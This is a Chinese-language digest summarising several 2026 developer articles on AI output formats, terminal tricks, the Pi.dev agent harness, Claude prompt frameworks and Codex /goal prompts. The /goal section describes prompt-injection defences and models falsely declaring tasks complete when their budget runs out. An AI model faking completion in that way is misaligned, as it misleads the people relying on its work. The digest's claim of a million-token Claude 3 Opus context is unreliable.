```text
[ AI Output Formats ]
Markdown:
- Good: Fast, easy to edit, portable.
- Bad: Hard to read >100 lines, AI hallucinates ASCII diagrams to compensate.
HTML:
- Good: High density (SVG, CSS), Interactive (Sliders, Buttons), Easy to share (URL).
- Bad: Uses 2-4x tokens, messy Git diffs.
- Verdict: Best for Specs, PR Reviews, Reports, Explorations.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 隨著 Agent 能力增強，產出的 Markdown 文件越來越長，人類根本不想讀。且 Markdown 缺乏豐富的視覺表達能力，導致 AI 常試圖用 ASCII 畫圖或用 Unicode 色塊來湊數。
- **HTML 的四大優勢**:
1. **資訊密度高**: 支援 Table, CSS, SVG 插圖, Script, 互動元件。
2. **視覺清晰度**: 可利用分頁 (Tabs) 和版面配置整理百行以上的規格書，甚至做到自適應 (Responsive)。
3. **易於分享**: 傳一個 S3 連結給同事，比傳一個對方可能沒有合適編輯器打開的 Markdown 檔案更好。
4. **雙向互動**: 可以在 HTML 裡做滑桿微調參數，或做「Copy as JSON/Prompt」按鈕，將介面操作轉回純文字餵給 Agent。
- **適用場景**:
- **規劃與探索**: 畫出 6 種不同方向的架構草圖並排比較。
- **Code Review**: 生成包含 SVG 流程圖和高亮註解的 PR 審查報告。
- **UI 原型**: 做一個帶有動畫效果的按鈕原型，並附上可調參數的滑桿。
- **客製化編輯器**: 讓 AI 寫一個拋棄式的網頁工具，用拖拉方式幫你整理 30 個 Jira Tickets，然後輸出成 Markdown。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 文件不再是「草稿」，而是「產品」**: 作者指出，他已經不再手動編輯這些規格文件了，如果有錯，他會叫 AI 去改。既然人類不再是「編輯者」而是「閱讀者」，Markdown 最大的優勢 (易於人類輸入) 就失去了意義，而 HTML 最大的優勢 (極佳的視覺呈現) 就被放大了。
2. **Context Window 讓 Token 成本變得可以接受**: 雖然 HTML 的標籤 overhead 會讓 Token 消耗增加 2-4 倍，但在 Claude 3 Opus 具備百萬 Context Window 的前提下，這點消耗用來換取「人類願意閱讀的意願」是絕對划算的。
### 關鍵證據
- 文章中展示的 "Custom Editing Interfaces" (客製化編輯器) 是最驚豔的用法。例如要求 AI："做一個包含 Now/Next/Later 欄位的看板，讓我把 30 個任務拖曳排序，最後提供一個 Copy as Markdown 按鈕導出。" 這種將 UI 互動與 Prompt 工程結合的做法，徹底打破了 CLI 工具的限制。
### 邊界條件
- **版本控制的夢魘**: HTML 的源碼非常雜亂，如果把 AI 生成的 HTML 規格書放進 Git 版控，後續的 diff 審查會非常痛苦。因此 HTML 更適合做為拋棄式的 Artifact (展示品) 或報表，而非長期維護的源代碼。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇早報 (EP53) 提到的「結構化呈現」。HTML 本身就是一種極度結構化的樹狀資料 (DOM Tree)，這不僅讓人讀得懂，在某些情況下也有助於模型在自我修正時定位結構。
- **深層洞見**: **"I’m also increasingly not editing these files myself... which removes one of markdown’s largest benefits." (我也越來越少自己編輯這些檔案...這消除了 Markdown 最大的好處之一。) ** 這句話點破了 AI 時代的盲點：我們常因循守舊地使用上一個時代的最佳實踐，卻沒意識到前提條件已經改變。當你不再敲打鍵盤，你需要的就不是輕量級的標記語言，而是強大的排版引擎。
- **行動呼籲**:
下次你在看一個極度複雜的遺留程式碼 (Legacy Code) 模組時，試著在 Claude Code 中下這道指令："請閱讀這個資料夾下的所有程式碼，並產出一個 HTML 格式的技術分析報告，裡面必須包含用 SVG 繪製的模組相依性圖表，以及用 CSS 標記嚴重級別的技術債清單。" 看看這份圖文並茂的 HTML 報告是否比乾巴巴的純文字更讓你豁然開朗。
開發工具
終端機巫術：10 個從新手到高手的 Command Line 實戰絕技
"別再為了給終端機上色去裝一堆臃腫的外掛了，直接印出 ANSI 碼就能搞定。理解了「Unix 中一切皆檔案」的哲學後，你不需要 GUI 監控軟體，直接 就能看記憶體；你也不需要建立一堆暫存檔，用 就能直接把指令輸出當作檔案丟給 比較。當程式莫名其妙卡死時，不要乾瞪眼，掛上 去看它底層到底卡在哪個系統呼叫。掌握這些內建魔法，你才是真正的 Terminal Wizard。"
---
tags: [開發工具, 實戰教學]
date: 2026-04-25
source: "20260512_2026-05-06T095730+0800-Terminal Wizardry 10 Command Line Tricks You’ll Actually Use (Beginner → Pro).md"
---
# 終端機巫術：10 個從新手到高手的 Command Line 實戰絕技
原始來源與檔名：20260512_2026-05-06T095730+0800-Terminal Wizardry 10 Command Line Tricks You’ll Actually Use (Beginner → Pro).md
來源：[[Tom Deneire]] / Medium — 2026-04-25
原始檔名：`2026-05-06T095730+0800-Terminal Wizardry 10 Command Line Tricks You’ll Actually Use (Beginner → Pro).md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Terminal Wizardry = Readline shortcuts + Unix Philosophy (Everything is a file) + Advanced Bash Features.
> Debugging Magic: `strace` (watching system calls) + `/proc` (kernel state exposed as text).
> File Substitution Magic: `<(...)` treats command outputs as transient files.
_這是另一篇探討終端機極限操作的深度好文，內容比前一篇更深入底層。作者展示了 10 個不需額外安裝工具、純靠系統內建功能就能實現的終端機「巫術」。從新手必須掌握的 readline 操作 (`Alt+.`) 與歷史展開 (`!!`)，到中階的免外掛顏色輸出 (ANSI 逃脫字元) 與 `/proc` 檔案系統探索，再到高手必備的行程追蹤神器 `strace` 與行程替換 `<(...)`。最後甚至教你如何利用 ASCII 響鈴字元 (`\a`) 在長任務結束時提醒自己，以及透過 SSH 買咖啡。這篇文章證明了：終端機不僅僅是個文字框，而是一個無所不能的平行宇宙。_
### 一句話
> 別再為了給終端機上色去裝一堆臃腫的外掛了，直接印出 `\e[32m` ANSI 碼就能搞定。理解了「Unix 中一切皆檔案」的哲學後，你不需要 GUI 監控軟體，直接 `cat /proc/meminfo` 就能看記憶體；你也不需要建立一堆暫存檔，用 `<(ls)` 就能直接把指令輸出當作檔案丟給 `diff` 比較。當程式莫名其妙卡死時，不要乾瞪眼，掛上 `strace -p` 去看它底層到底卡在哪個系統呼叫。掌握這些內建魔法，你才是真正的 Terminal Wizard。
### 餐巾紙草圖
```text
[ Terminal Wizard Spells ]
Level 1: The Fast Fingers (Readline)
- Alt+. (Paste last argument)
- sudo !! (Run last command as root)
Level 2: The Core Mechanics (Unix)
- Color without plugins: echo -e "\e[32m SUCCESS \e[0m"
- Look under the hood: cat /proc/$$/status (Everything is a file)
Level 3: The Dark Arts (Advanced Bash/Linux)
- Watch a process live: sudo strace -p <PID>
- Commands as files: diff <(ls /dir1) <(ls /dir2)
- Wake me up: long_build.sh && echo -e '\a'
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **初階 (Beginner)**:
1. **Readline 快捷鍵**: `Alt+.` (貼上上一個指令的最後一個參數)，極度實用。
2. **歷史展開 (History Expansion)**: `!!` (整個上一行)、`!$` (上一行最後一個參數，同 `Alt+.`)、`!foo` (最後一個以 foo 開頭的指令)。
3. **自訂 Prompt (PS1)**: 不需依賴 Starship 等肥大外掛，純 Bash 就能做到漂亮且彩色的命令提示字元。
- **中階 (Intermediate)**:
4. **ANSI 逃脫字元**: 不需安裝 Colorama 或 Chalk 套件，用 `\e[32m` (綠色)、`\e[7m` (反白) 即可在任何語言印出色彩。
5. **背景執行機制**: `&`、`jobs`、`fg`、`bg`，並提醒關閉視窗會殺死任務 (需用 `nohup`)。
6. **`/proc` 虛擬檔案系統**: 貫徹「一切皆檔案」哲學，用 `cat` 讀取 `/proc/cpuinfo` 或 `/proc/$$/fd/` 就能直接監控系統與行程狀態。
- **進階 (Pro)**:
7. **`strace`**: 終極除錯神器。直接掛載到執行中的行程上 (`sudo strace -p`)，即時觀察它正在做哪些底層系統呼叫 (System Calls)，抓出卡死的元凶。
8. **行程替換 (Process Substitution)**: `<(...)` 語法可以將指令輸出偽裝成一個檔案傳遞給其他指令。例如 `diff <(ls /etc) <(ls /etc.bak)`，徹底消滅暫存檔。
9. **響鈴提醒 (`\a`)**: 在長耗時的腳本後加上 `echo -e '\a'` (ASCII Bell)，任務完成時終端機會發出提示音或跳通知（可與 tmux 整合）。
10. **SSH 購物**: `ssh terminal.shop` 透過 SSH 協定直接購買實體咖啡，展現 TUI (文字使用者介面) 的極致創意。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **原生的力量大於外掛庫**: 作者極力推崇減少對外部工具的依賴。既然終端機原生就支援 ANSI 逃脫字元，為什麼要為了印出一句綠色的 "Success" 去拉入幾 MB 的 NPM 套件？這種極簡主義 (Minimalism) 是真正高手的體現。
2. **「一切皆檔案」帶來的無限槓桿**: 為什麼 Unix/Linux 的 CLI 工具如此強大？因為作業系統將 CPU 溫度、記憶體狀態、甚至網路 Socket 全都抽象成了純文字檔案 (`/proc`、`/sys`)。這代表你能用處理文本的最強工具 (`cat`, `grep`, `awk`) 去監控與操作整個作業系統。
### 關鍵證據
- **`strace` 的實戰展示**: 作者舉了一個正在無窮迴圈印出字元的 `yes` 指令，並用 `strace` 掛載上去，直接讓讀者看到 kernel 層級不斷發生的 `write(1, "y\n"...)`。這比任何理論書籍都更能讓人理解什麼叫做 System Call。
### 邊界條件
- **作業系統限制**: `<(...)` 語法僅限 Bash 與 Zsh。`strace` 和 `/proc` 主要是 Linux 核心的專利，如果你在 macOS 上，你可能需要尋找替代品 (如 `dtruss` 或使用 `sysctl`)。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 與上一篇《I Used the Terminal Wrong for Years》完美互補。上一篇著重於快捷操作與工作流（如 `Ctrl+R`、`fzf`），這篇則帶我們深入 OS 底層（`/proc`、`strace`、ANSI Codes）。兩者結合，基本上涵蓋了所有高效開發者在終端機裡的肌肉記憶。
- **深層洞見**: **"That’s really what people mean when they say they love the terminal. It’s not nostalgia. It’s leverage." (這就是為什麼人們說他們熱愛終端機的原因。這不是懷舊，這是槓桿。) ** 終端機讓你透過同一組簡單的指令 (grep, cat, pipe)，去操作本機的檔案、作業系統的核心、遠端的伺服器、甚至是訂購一杯咖啡。世界上沒有任何圖形介面 (GUI) 能提供這種無遠弗屆的槓桿。
- **行動呼籲**:
今天下班前，寫一個最簡單的備份腳本，然後加上這兩個魔法：
1. 用 `\e[32m` 把成功訊息印成綠色。
2. 在指令最後加上 `&& echo -e '\a'`。
當你走到飲水機倒水，聽到電腦發出那聲清脆的 "叮" 時，你就會明白這種不依賴任何外部框架的「魔法」有多麼迷人。
開發工具
終結 Claude Code 的殺手終於來了：掌控自己的 Harness 才是未來
"我們太依賴 Claude Code 或 Cursor 了，以至於當 Anthropic 偷偷改了底層模型或系統提示詞，讓我們的 API 帳單暴增、程式碼品質下降時，我們毫無還手之力。為了解決這個問題，開源工具 誕生了。它不塞給你一堆華而不實的內建功能，而是只給你一個不到 200 Token 的極簡核心和四個基本工具。你想要更強大的功能？直接叫 Pi 自己寫一段外掛程式碼裝上去。在未來的 AI 算力大戰中，不要把你的工作流程綁死在任何一家大廠身上，自己掌控 Agent 的外殼 (Harness) 才是王道。"
---
tags: [開發工具, 商業策略]
date: 2026-05-03
source: "20260512_2026-05-06T095717+0800-The Claude Code Killer Is Finally Here.md"
---
# 終結 Claude Code 的殺手終於來了：掌控自己的 Harness 才是未來
原始來源與檔名：20260512_2026-05-06T095717+0800-The Claude Code Killer Is Finally Here.md
來源：[[Alex Dunlop]] / Medium — 2026-05-03
原始檔名：`2026-05-06T095717+0800-The Claude Code Killer Is Finally Here.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> The Claude Code Regression: Bloated System Prompt + Vendor Lock-in + Unpredictable Updates = Broken Workflows & High Costs.
> The Fix (Pi.dev): Micro-kernel approach (Less is More) + <200 Token Prompt + Bring Your Own Model + 100% Extensible.
> Core Philosophy: "If you don't need it, you won't build it." Control your own Agent Harness.
_神級終端工具 Claude Code 近期迎來了它的「中年危機」：強迫升級到 Opus 4.7 導致上下文能力暴跌、隨意修改使用者的 System Prompt 造成 Token 暴增、甚至開始封殺第三方串接，引發了包含 AMD 在內的開發者社群強烈反彈。為了解決這個 Vendor Lock-in (廠商鎖定) 的危機，奧地利工程師 Mario Zechner 開發了 `Pi.dev`。它逆向工程了 Claude Code，並採取「Less is More」的極簡哲學：只給 200 Token 的系統提示詞與最基本的讀寫工具。你需要什麼功能（Sub-agents, MCP），就讓 Pi 自己幫你寫外掛。掌控你自己的 Agent 運行框架 (Harness)，才是 AI 時代軟體工程師自保的唯一解藥。_
### 一句話
> 我們太依賴 Claude Code 或 Cursor 了，以至於當 Anthropic 偷偷改了底層模型或系統提示詞，讓我們的 API 帳單暴增、程式碼品質下降時，我們毫無還手之力。為了解決這個問題，開源工具 `Pi.dev` 誕生了。它不塞給你一堆華而不實的內建功能，而是只給你一個不到 200 Token 的極簡核心和四個基本工具。你想要更強大的功能？直接叫 Pi 自己寫一段外掛程式碼裝上去。在未來的 AI 算力大戰中，不要把你的工作流程綁死在任何一家大廠身上，自己掌控 Agent 的外殼 (Harness) 才是王道。
### 餐巾紙草圖
```text
[ The Harness Dilemma ]
Claude Code / Cursor (The Walled Garden):
- Bloated System Prompts (hidden).
- Forced model updates (Opus 4.7 broke long context).
- Vendor Lock-in (Banning 3rd party tools/subscriptions).
- Result: Codebase turns to slop, PRs get larger, quality drops.
Pi.dev (The Open Harness):
- Sub-200 token system prompt.
- Bring your own model (Anthropic, DeepSeek, OpenAI).
- 4 basic tools.
- Extensible: Ask Pi to write its own MCP extension.
- Result: 100% control over workflow and costs.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **Claude Code 的衰敗 (The Regression)**:
- Opus 4.7 的發布是災難，長文本能力暴降，Token 漲價 35%。
- Anthropic 對 Claude Code 進行了糟糕的改動：臃腫的內建 System Prompt、未經同意修改上下文、強行封殺第三方工具（如 OpenClaw 或自訂的 `HERMES.md`）。
- Cursor 與 Copilot 的漲價讓開發者意識到「廠商鎖定」的危險。
- **Pi.dev 的誕生**:
- 開發者 Mario Zechner 不滿意工具每天都在不可預測的地方損壞，於是親自寫了 Pi。
- **核心理念 (Less is More)**: 模型本身已經被強化學習訓練成很好的 Agent 了，根本不需要龐大的 System Prompt 來教它做事。
- **Pi 的特色清單**:
- 只有 4 個預設工具（讀、寫、編輯、bash）。
- <200 Token 的系統提示詞。
- 支援 25+ 供應商（包含 OpenAI, DeepSeek），可隨時切換。
- **自我修改 (Self Modifying)**: 如果你需要 MCP 支援或 Sub-agent，直接開口叫 Pi 寫一個擴充套件，它會自己看文件幫你加進去。
- **產業的大危機**: 盲目依賴黑箱 Agent 導致 PR (Pull Requests) 越來越大，Codebase 充滿了難以審查的 AI 垃圾代碼 (Slop)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Vendor Lock-in 在 Agent 時代的致命性**: 過去的 IDE（如 VS Code）鎖定你，頂多是換個快捷鍵的問題；但 Agent 鎖定你，是直接掌控了你思考的脈絡、修改程式碼的邏輯，甚至是你的 API 錢包。當 Anthropic 為了商業利益（如推廣 Cowork）而妥協工程師體驗時，開發者會瞬間成為俎上肉。
2. **"Less is More" 的 Agent 哲學**: 為什麼 Pi 預設不給一堆高階功能？因為「如果你不需要，你就不該為它付 Token 費用」。與其被塞入一個包山包海但無法修改的 5000 Token Prompt，不如從 200 Token 開始，用開源的擴充機制 (Extensions) 拼湊出最適合自己專案的工作流。
### 關鍵證據
- Armen Ronacher (Flask 作者) 的訪談調查：AI Agent 確實正在改變工程團隊的工作方式，但結果是負面的——PR 變得異常龐大，人類審查品質斷崖式下降。這印證了「不可控的 AI 工具正在破壞軟體工程紀律」。
### 邊界條件
- **誰不適合用 Pi**: 如果你是個完全不想折騰設定、只想按一個鍵就能解決問題的使用者，那被鎖定在 Claude Code 的美好體驗中仍然是最佳解。Pi 是給那些在乎底層運作、在乎 Token 成本，並且願意自己寫（或請 AI 寫）擴充外掛的進階開發者。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 強烈呼應了前一篇《Adventures in Claude Code land》的分析。前面我們還在讚嘆 Claude Code 的 Sub-agents 跟 Hooks 架構多美妙，這篇立刻給了一記回馬槍：架構再好，如果被原廠無預警改版或鎖死，那就是一場噩夢。控制 Harness（外殼框架）的重要性，正是我們為什麼要學寫《Building an AI Agent from Scratch》的原因。
- **深層洞見**: **"I want my development tools to be like a hammer. If my hammer breaks at a different spot every day, I’m getting really mad." (我希望我的開發工具像一把鐵鎚。如果我的鐵鎚每天都在不同的地方斷掉，我會非常生氣。)** Agentic AI 最大的痛點不是不夠聰明，而是「不可預測」。一個會默默升級、改變決策路徑的工具，無法成為工程師信賴的鐵鎚。
- **行動呼籲**:
別只會抱怨 Cursor 變貴或 Claude 變笨。立刻在終端機輸入 `npm install -g @mariozechner/pi-coding-agent` 安裝 Pi，接上你自己的 API Key，然後試著對它說：「幫我寫一個外掛，攔截每一次的 git commit 並加上效能檢查」。掌握自己專屬的 Agent，才是對抗這波 AI 商業收割潮的最佳防禦。
開發工具
解鎖高級版 Claude：40 個高階 Prompt 框架與 5 大底層邏輯
"把 Claude 當作一個能力極強但沒有讀心術的資深外包專家。如果你只給他一句話的需求，他只能給你一份套版公版。這份指南提供了 40 個涵蓋寫作、商業決策、程式碼審查與個人管理的 Prompt 框架。每一個框架都包含了明確的「好壞標準」（如：嚴禁使用 '深入探討' 等廢話）與「硬性限制」（如：一段不超過三句話）。記住三個 Claude 的專屬絕招：用 XML 標籤包裝資料、遇到難題要求它先思考、讓它產出 Artifacts 以便後續迭代修改。"
---
tags: [開發工具, AI技術]
date: 2026-05-07
source: "20260512_2026-05-12T093226+0800-Most people use Claude wrong. Here are the 40 prompts that fix it..md"
---
# 解鎖高級版 Claude：40 個高階 Prompt 框架與 5 大底層邏輯
原始來源與檔名：20260512_2026-05-12T093226+0800-Most people use Claude wrong. Here are the 40 prompts that fix it..md
來源：[[@shmidtqq]] / X — 2026-05-07
原始檔名：`2026-05-12T093226+0800-Most people use Claude wrong. Here are the 40 prompts that fix it..md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Pro Prompt = Role + Context + Deliverable + Standard + Constraints.
> Claude Superpowers = 1. XML Tags 2. "Think step-by-step before answering" 3. Use Artifacts.
> Garbage in ("Write an article") = Garbage out (Filler text).
_絕大多數人都把 Claude 用錯了。他們把它當搜尋引擎，丟一句「幫我寫篇文章」，然後抱怨產出的內容充滿空洞的廢話。Claude 的設計初衷是處理細微、多步驟、專家級的任務。要喚醒它的全部潛力，你必須給它一份專業的「發包規格書」，包含：角色、背景上下文、交付物格式、優質標準以及硬性限制。此外，善用 XML 標籤來結構化輸入資料，並要求它在複雜任務前「先思考 (Think step by step)」，能讓輸出品質產生質的飛躍。_
### 一句話
> 把 Claude 當作一個能力極強但沒有讀心術的資深外包專家。如果你只給他一句話的需求，他只能給你一份套版公版。這份指南提供了 40 個涵蓋寫作、商業決策、程式碼審查與個人管理的 Prompt 框架。每一個框架都包含了明確的「好壞標準」（如：嚴禁使用 '深入探討' 等廢話）與「硬性限制」（如：一段不超過三句話）。記住三個 Claude 的專屬絕招：用 XML 標籤包裝資料、遇到難題要求它先思考、讓它產出 Artifacts 以便後續迭代修改。
### 餐巾紙草圖
```text
[ Anatomy of a Master Prompt ]
[ Role ] "You are a senior content strategist..."
+
[ Context ] <data> [paste data here] </data>
+
[ Deliverable ] "Write a 500-word decision matrix..."
+
[ Standard ] "Identify the root cause, not symptoms. Be pessimistic."
+
[ Constraints ] "No filler words. Max 3 sentences per paragraph."
=
[ Outcome ] Professional-grade work requiring zero edits.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **三大 Claude 核心技巧**:
1. **使用 XML 標籤**: `<context>`, `<example>` 結構化輸入，這非常符合 Claude 的訓練資料特性。
2. **強制思考**: 在高難度任務前加上 "Before responding, think through this step by step."
3. **使用 Artifacts**: 讓長文件、程式碼以獨立視窗產出，方便後續對話中原位修改。
- **提示詞的五大核心要素**: 角色 (Role)、背景 (Context)、交付物 (Deliverable)、標準 (Standard)、限制 (Constraints)。
- **精選 40 個 Prompt 框架分類** (節錄重點):
- **寫作與文案**: 出版級長文 (禁用 hedge words)、反捲軸的 X Thread、郵件代寫 (提供兩種語氣版本)、轉換乾癟事實為故事。
- **策略與分析**: 真正的 SWOT 分析 (要求具體行動與致命風險)、決策矩陣 (強迫權重計分並給出唯一建議)、連續五問法 (Root Cause 抓蟲)、事前驗屍 (Pre-Mortem 找風險)。
- **工程與程式碼**: 架構顧問 (給兩種選擇並評估炸點)、程式審查員 (區分安全、邏輯、效能，標示行號)、API 設計師。
- **個人營運**: 真正的週計畫 (強制列出「刻意放棄不做的事」)、談判準備單、原子習慣建立。
- **數據處理**: 資料翻譯官 (給出非直覺發現)、研究綜整 (找出文獻間的矛盾與缺口)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 不會創造標準，它只會迎合你的標準**: LLM 在缺乏具體約束時，會向「最安全的平均值」回歸，產出的就是充滿 "it should be noted", "crucial" 的八股文。只有透過「硬性限制 (Hard rules)」和「明確標準 (Standard)」強迫它偏離平均值，才能得到尖銳、有洞見的結果。
2. **多維度強制力**: 在這些 Prompt 中，最常出現的句型是 "Do not accept my framing" (不要接受我的框架) 或 "Be pessimistic" (悲觀一點)。這是在對抗 AI 天生的諂媚 (Sycophancy) 偏誤，強制模型以批判性思維運作。
### 關鍵證據
- 在 `The Honest Retro` (誠實復盤) 的 Prompt 中，作者規定："Be specific. 'Communication was bad' is useless. 'Product wasn't told about the pricing change until 2 days before launch' is useful." 這種直接把「反面教材」寫進 Prompt 的做法，能精準鎖死 AI 講廢話的機率。
### 邊界條件
- **API 限制與介面差異**: 文章特別註明 Artifacts 功能目前只在 Claude 網頁版和 Desktop App 原生支援，如果在 API 中調用，開發者必須自己實作這層 UI 邏輯。這意味著這些 Prompt 在整合進自動化腳本時，互動體驗會有所打折。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了《吴恩达新的免费 AI 课》中提到的「給予充足上下文」以及「拒絕 AI 拍馬屁」的原則。這裡的 40 個 Prompt 就是吳恩達理論的實彈演習兵器庫。
- **深層洞見**: **"The 'deliberately skipping' section matters most. Saying no is how priorities stay priorities." (「刻意放棄」的部分最重要。學會說不，優先事項才得以保全。)** 在 `The Real Weekly Plan` 的 Prompt 中，作者不僅是在教你如何使用 AI，更是在傳授頂級專案管理的心法。將頂尖的工作方法論轉譯成 Prompt 變數，這才是高階 Prompt Engineering 的真諦。
- **行動呼籲**:
挑選文中 `The Pre-Mortem` (事前驗屍) 這個 Prompt。在你下一次要把重要的架構重構 PR 送出前，把你的計畫貼進去，讓 Claude 扮演一個挑剔的災難預言家，告訴你最可能導致專案失敗的 7 個風險。你會發現，AI 找碴的能力遠比它寫 Code 的能力更有價值。
開發工具
讓 Claude Code 智力加滿：拆解 Codex /goal 的頂級 Prompt 工藝
"為什麼你寫的 Prompt 讓 AI 經常偷懶做到一半就停，而 OpenAI 官方寫的 Prompt 卻能讓 AI 埋頭苦幹直到目標達成？秘訣在於防禦性寫法。不要對模型說「請認真檢查」，要說「把目標拆成清單，每個項目找證據，沒找到就是沒做完」。不要讓模型預設自己做得很好，要規定「只要有一點不確定，就當作沒完成」。這篇文章教你如何扒出頂級團隊的 Prompt，並把它變成 Claude Code 裡隨手可用的神級外掛。"
---
tags: [開發工具, 系統工程]
date: 2026-05-09
source: "20260512_2026-05-12T093204+0800-一个Skill让Claude Code智力加满.md"
---
# 讓 Claude Code 智力加滿：拆解 Codex /goal 的頂級 Prompt 工藝
原始來源與檔名：20260512_2026-05-12T093204+0800-一个Skill让Claude Code智力加满.md
來源：[[@MinLiBuilds]] / X — 2026-05-09
原始檔名：`2026-05-12T093204+0800-一个Skill让Claude Code智力加满.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Problem: LLMs stop halfway and ask "Should I continue?".
> Solution: The `/goal` command (Continuous loop until audit passes).
> OpenAI Prompt Engineering Secrets:
> 1. Untrusted user data.
> 2. Specific checklists > "Be careful".
> 3. Treat uncertainty as "not done" (Pessimistic default).
> 4. Separating "Budget exhaustion" from "Goal completed".
_作者分析了 OpenAI Codex CLI 中強大的 `/goal` 指令（給定目標後，AI 會自動一輪輪推進直到自檢通過），並將其復刻為 Claude Code 的 Skill。最精華的部分在於作者扒出了 OpenAI 內部寫的 Prompt 範本。這些工業級的 Prompt 不用模糊的「請仔細檢查」，而是透過極度具體的策略來防止模型偷懶：把用戶輸入視為不可信資料、強制列出交付物證據對應表、將模糊地帶預設為「未完成」，並嚴格區分「資源耗盡停止」與「任務成功」。_
### 一句話
> 為什麼你寫的 Prompt 讓 AI 經常偷懶做到一半就停，而 OpenAI 官方寫的 Prompt 卻能讓 AI 埋頭苦幹直到目標達成？秘訣在於防禦性寫法。不要對模型說「請認真檢查」，要說「把目標拆成清單，每個項目找證據，沒找到就是沒做完」。不要讓模型預設自己做得很好，要規定「只要有一點不確定，就當作沒完成」。這篇文章教你如何扒出頂級團隊的 Prompt，並把它變成 Claude Code 裡隨手可用的神級外掛。
### 餐巾紙草圖
```text
[ Anatomy of an Industrial Prompt (/goal) ]
❌ Bad Prompt: "Here is the user's objective: {obj}. Please complete it carefully."
(Vulnerable to injection, optimistic bias, laziness)
✅ Good Prompt:
1. <untrusted_objective> {obj} </untrusted_objective> (Prevent injection)
2. Map every req to actual evidence (code, test output).
3. Treat uncertainty as "not done". (Pessimistic default)
4. Do NOT mark as complete just because token budget is low.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: LLM 在執行長任務時，常有做到一半停下來問「要繼續嗎？」的毛病，嚴重打斷心流。
- **Codex `/goal` 的解法**: 承諾「給定目標後，自行讀檔、改檔、跑測試、自檢，直到通過才停」。
- **扒開源碼**: 整個 `/goal` 的靈魂其實是兩段不到 50 行的 Markdown prompt (`continuation.md` & `budget_limit.md`)。
- **拆解 OpenAI 的 Prompt 工藝 (4 大技巧)**:
1. **用戶輸入當資料，不當指令**: 用 `<untrusted_objective>` 包裹，防止 Prompt 注入攻擊。
2. **寫具體動作，不寫形容詞**: 禁用「仔細、所有」，改為「將要求映射到具體證據 (測試結果/輸出)」。
3. **一句話改預設值**: 扭轉模型天生的樂觀偏誤，規定「將不確定性視為『尚未完成』」。
4. **拆開「停」與「完成」**: 防止模型在 Token 快耗盡時為了交差而說謊，明確指出「預算即將耗盡不等於目標完成」。
- **實作與延伸**: 作者利用這些洞察，手搓了一個供 Claude Code 使用的 `claude-goal-skill`，並提到 Anthropic 最新的 `Outcomes` 架構甚至將 Audit (自檢) 抽離給另一個獨立的 Grader Agent 以避免確認偏誤。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **模型天性就是偷懶與樂觀**: 在長文本推理中，如果缺乏嚴格的防護網，模型會出現 "Confirmation Bias" (覺得自己寫的 Code 肯定沒問題)。
2. **工業級 Prompt 是被「實測」逼出來的**: 那些看似囉嗦的禁令（例如「不要依賴意圖或對先前工作的記憶作為完成證明」），全都是 OpenAI 團隊在成千上萬次測試中發現模型會鑽的漏洞。這就是 Harness 工程——用規則堵死機率上的失敗。
### 關鍵證據
- 拆解 Anthropic `Outcomes` 的設計：將 Grader (評分者) 獨立出來。因為如果讓執行任務的 Agent 自己審核自己，它會帶著歷史上下文（"我都改了那麼久了，應該對了吧"）。獨立的 Grader 沒看過歷史，只對照規格與產出，這讓任務成功率直接提升 10%。
### 邊界條件
- **成本與時間**: 這種自動輪迴的 `/goal` 機制，在遇到真正無法解決的邏輯死胡同時，可能會陷入無窮迴圈，瘋狂消耗 API 費用 (Token)。這就是為什麼原文中必須設定 Token Budget (預算)，這也是開發這類系統必須配套的安全鎖。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美對應了前文《AI 编程的底层原则》中提到的：AI 需要你幫它建立邊界。也印證了《ADLC 開發方式》裡所說的「行為契約」。
- **深層洞見**: **"把不確定性當作『尚未完成』... 就這一句話，把預設值從『樂觀』改成『悲觀』。"** 這是 Prompt 撰寫的哲學級洞見。不要試圖用一萬字去描繪什麼是完美的，而是只要找出一句話，改變模型的「預設引力方向」，它的行為模式就會徹底翻轉。
- **行動呼籲**:
現在去檢查你常用的系統提示詞 (System Prompt)。把它們裡面的「請認真」、「請仔細」、「盡你所能」全部刪掉。替換成：「如果在任何環節缺乏具體驗證數據，請視為『失敗』並繼續工作。」你會發現你的 AI 突然變聰明且負責了。
開發工具
釋放自主代碼引擎：Codex CLI `/goal` 模式與 Ralph Loop 詳解 (Autonomous Goal Mode)
"AI 終於可以自己加班了。 模式打破了過去 LLM 寫代碼「寫到 80% 就停下來等你下指令」的困境。透過自動注入驗證與延續提示詞 (continuation.md)，Codex 會在一輪結束後自己問自己：「完成標準達到了嗎？沒達到的話下一步該做什麼？」這讓中大型專案的自動重構、端到端功能開發成為可能。只要設定好清楚的邊界條件與 Token 預算上限，你真的可以下達指令後去喝杯咖啡，讓 AI 連續運轉好幾個小時。"
---
tags: [開發工具, 工作流, Agent架構]
date: 2026-05-03
source: "20260512_2026-05-05T094111+0800-Codex CLI goal 模式详解：OpenAI 官方 Ralph Loop 的自主迭代引擎.md"
---
# 釋放自主代碼引擎：Codex CLI `/goal` 模式與 Ralph Loop 詳解 (Autonomous Goal Mode)
